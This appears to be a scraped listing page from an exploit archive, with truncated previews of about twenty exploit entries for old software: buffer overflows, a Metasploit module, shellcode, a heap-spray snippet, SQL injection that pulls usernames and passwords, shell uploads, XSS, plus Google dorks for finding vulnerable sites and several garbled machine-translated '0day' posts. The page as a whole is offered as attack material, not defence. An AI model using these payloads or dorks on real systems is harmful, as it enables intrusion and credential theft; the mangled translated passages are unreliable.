Kolibri <= v2.0 HTTP Server HEAD Buffer Overflow

Exploit for windows platform in category remote exploits $Id: kolibrihttp.rb 10887 2011-08-03 12:19:19Z mrme $ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on...

IF-CMS 2.07 - Local File Inclusion (1)

!/usr/bin/python INFORMATION Exploit Title: If-CMS 2.07 Pre-Auth Local File Inclusion 0day Exploit Author: TecR0c Date: 13/3/2011 Software link: http://bit.ly/hh9ZB4 Tested on: Linux bt Version: 2.07 PHP.ini Settings: gpcmagicquotes = Off import...

CoolZip 2.0 zip Buffer Overflow Exploit

Exploit for windows platform in category local exploits !/usr/bin/perl +Exploit Title: Exploit Buffer Overflow CoolZip 2.0 +Date: 12\03\2011 +Author: C4SS!0 G0M3S +Software Link: http://www.brothersoft.com/coolzip-download-7097.html +Version: 2.0 +Tested On WIN-XP SP3 Portugues Brasil +CVE: N/A x...

IIS7. 0 deformity parsing vulnerabilities pass to kill 0day-vulnerability warning-the black bar safety net

IIS7. 0 deformity parsing 0day pass to kill the loopholes, and Nginx the last 0day the same. Using iis7. 0 the note. Temporary solution: turn off the cgi. fixpathinfo to 0 Nginx seems like further proof 0day, windows can be any view and download the script file 王猛 IIS7. 0 deformity parsing 0day...

KMPlayer 2.9.3 (.ape) Stack buffer Overflow

Exploit for windows platform in category local exploits !/usr/bin/perl Title : KMPlayer 2.9.3 .ape Stack buffer Overflow Author : KedAns-Dz E-mail : email protected Home : HMD/AM 30008/04300 - Algeria -00213555248701 Twitter page : twitter.com/kedans platform : Windows Impact : Stack Overflow in...

Windows Movie Maker 2.1 (Import AVI video) Stack Overflow

Exploit for windows platform in category local exploits !/usr/bin/perl Title : Windows Movie Maker 2.1 Import AVI video Stack Overflow Author : KedAns-Dz E-mail : email protected Home : HMD/AM 30008/04300 - Algeria -00213555248701 Twitter page : twitter.com/kedans platform : Windows Impact : Stac...

RuubikCMS Version 1.0.3 Multiple Vulnerabilities

Exploit for php platform in category web applications ---------------------------------------------------------------- WebApplication : RuubikCMS Version 1.0.3 Type of vunlnerability : CSRF Change Admin Password And XSS Risk of use : Medium...

SiteServer CMS system 0day-vulnerability warning-the black bar safety net

Detail: with the previous move is easy as registered member you can use xx. asp style registration. While we upload the attachments images also are in accordance with our member name to store. Then the tragedy of 0day is produced. The use of an IIS parsing properties! Use way: The first to enter...

win32 eggsearch shellcode (33 bytes)

Exploit for win32 platform in category shellcode ; win32 eggsearch shellcode, 33 bytes ; tested on windows xp sp2, should work on all service packs on win2k, win xp, win2k3 ; c 2009 by Georg 'oxff' Wicherski bits 32 marker equ 0x1f217767 ; 'gw!\x1f' start: xor edx, edx ; edx = 0, pointer to...

Inj3ct0r , Milw0rm moved to new domain 1337day.com !

Inj3ct0r , Milw0rm moved to new domain 1337day.com ! Milw0rm also called milwOrm is a group of "hacktivists" , now back with new domain 1337day.com . Its Inj3ct0r 1337 Team exploits and 0day exploits database site. Mirror : .There are more than 15 thousands of Exploits are available on Milw0rm /...

Shuo Mei web site management system SomiCMS Enterprise Edition v3. 1 0day-vulnerability warning-the black bar safety net

Author: IDEA4 Bulk to take the shell,the keyword your looking for you can! The use method is as follows Copy the code about. php? aid=-1 union select 1,concatusername,0x20,password,3,4,5,6,7 from somiuser limit 0,1/...

Edraw Office Viewer Component V7.4 ActiveX Stack Buffer Overflow

Exploit for windows platform in category remote exploits function heapspray //exec calc.exe var shellcode = unescape "%u9090%u9090%u9090%u9090" ; shellcode += unescape...

Victory FTP Server 5.0 Denial of Service Exploit

Exploit for windows platform in category dos / poc !/usr/bin/python xxx xxx xxxxxxxxxxx xxxxxxxxxxx xxxxxxxxxxx xxx xxx xxxxxxxxxxxxx xxxxxxxxxxxxx xxxxxxxxxxxxx xxx xxx xxxxxxxxxxxxx xxxxxxxxxxxxx xxxxxxxxxxxxx xxxxx xxx xxx xxx xxx xxx xxx xxxxxx xxx xxx xxx xxx xxx xxx xxx xxxxxxxx xxxxxxxx...

iDocManager v1.0.0 for iPhone / iPod touch, Directory Traversal

Exploit for hardware platform in category remote exploits Exploit Title: iDocManager v1.0.0 for iPhone / iPod touch, Directory Traversal Date: 02/24/2011 Author: email protected, email protected, Sunlight, email protected Software Link : http://itunes.apple.com/kr/app/idocmanager/id376421606?mt=8...

Novell Netware RPC XNFS xdrDecodeString Vulnerability

Exploit for linux platform in category dos / poc !/usr/bin/ruby Source: http://www.protekresearchlab.com/index.php?option=comcontent&view=article&id=24&Itemid=24 require 'socket' netwareserver = ARGV0 targetport = ARGV1 || 1234 beepbeep= "\x1c\xd1\xef\xab" + XID "\x00\x00\x00\x00" + Message Type:...

ClanSphere 2010.3 Xss Vulnerability

Exploit for php platform in category web applications author: lemlajt software : Clansphere @ sourceforge.net version: 20103 tested on: linux cve : xss-01 PoC : POST http://localhost/www/cmsadmins/clansphere20103/clansphere20103/index.php?mod=messages&action=create $messagessubject= xss-02 Stored...

Avira AntVir QUA file in (avcenter.exe) Local Crash PoC

Exploit for windows platform in category dos / poc !/usr/bin/perl ================================================================================= | | Title : Avira AntVir QUA file in avcenter.exe Local Crash PoC | | Author : KedAns-Dz | | email : email protected | | Home : HMD/AM 30500/04300 -...

Chi Sepang international series system to kill the vulnerability 0day-vulnerability warning-the black bar safety net

| This vulnerability should be a series system to kill, in the background Annex to the upload not the file format limit, can lead to upload any type of file. Use method: can be utilized where there are two, one is the background upload attachments. Another is to directly access the http://domain...

Cmsez(with easy)total Station system injection 0day-vulnerability warning-the black bar safety net

| allinurl:"owered by CMSEZ" comments.php inurlowered by CMSEZ Vulnerability code: mainfile.php ? //comments include "mainfile.php"; $art=new article; //Set $confirm='yes';//yes:need administrator authentication to the display,no:direct display $member=new member; $userinfo=$member-memberauth;...

GetSimple CMS 2.03 Shell Upload

Exploit Title: GetSimple CMS =2.03 Remote Upload Shell 0day Google Dork: "powered by GetSimple Version 2.03" Date: 15/FEB/2011 Author: s3rg3770 and Chuzz irc.azzurra.org hackerjournal Site Author: http://reflective.noblogs.org OWL? / o\ /o /|:.V.:|\ \:::::// -----"" ""----- Software Link:...